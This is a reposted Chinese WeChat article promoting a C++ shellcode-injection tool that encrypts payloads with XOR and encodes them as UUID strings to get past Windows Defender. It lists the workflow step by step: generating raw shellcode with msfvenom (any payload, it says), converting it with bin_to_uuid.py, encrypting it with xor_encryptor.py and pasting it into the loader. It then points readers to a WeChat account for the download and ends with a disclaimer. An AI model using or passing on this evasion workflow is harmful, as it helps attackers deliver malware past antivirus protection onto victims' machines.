===================================
0x01 工具介绍
一种使用C++的 shellcode 注入技术,它尝试使用 XOR 加密和UUID字符串绕过 Windows Defender。
0x02 安装与使用
首先,生成二进制格式的有效负载(使用CobaltStrike或msfvenom)例如,在 中msfvenom,您可以这样做(我使用的有效负载是为了说明目的,您可以使用任何您想要的有效负载):
msfvenom -p windows/messagebox -f raw -o shellcode.bin
UUID然后使用 Python3 脚本将 shellcode(二进制/原始格式)转换为字符串格式bin_to_uuid.py:
./bin_to_uuid.py -p shellcode.bin > uuid.txt
xor使用 Python3 脚本加密UUID字符串, .uuid.txtxor_encryptor.py
./xor_encryptor.py uuid.txt > xor_crypted_out.txt
Copy the C-style array in the file, xor_crypted_out.txt, and paste it in the C++ file as an array of unsigned char i.e. unsigned char payload[]{your_output_from_xor_crypted_out.txt}
0x03 项目链接下载
2、关注公众号"网络安全者",后台回复:20221022
原文始发于微信公众号(网络安全者):使用C++的 shellcode 注入技术(附工具)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论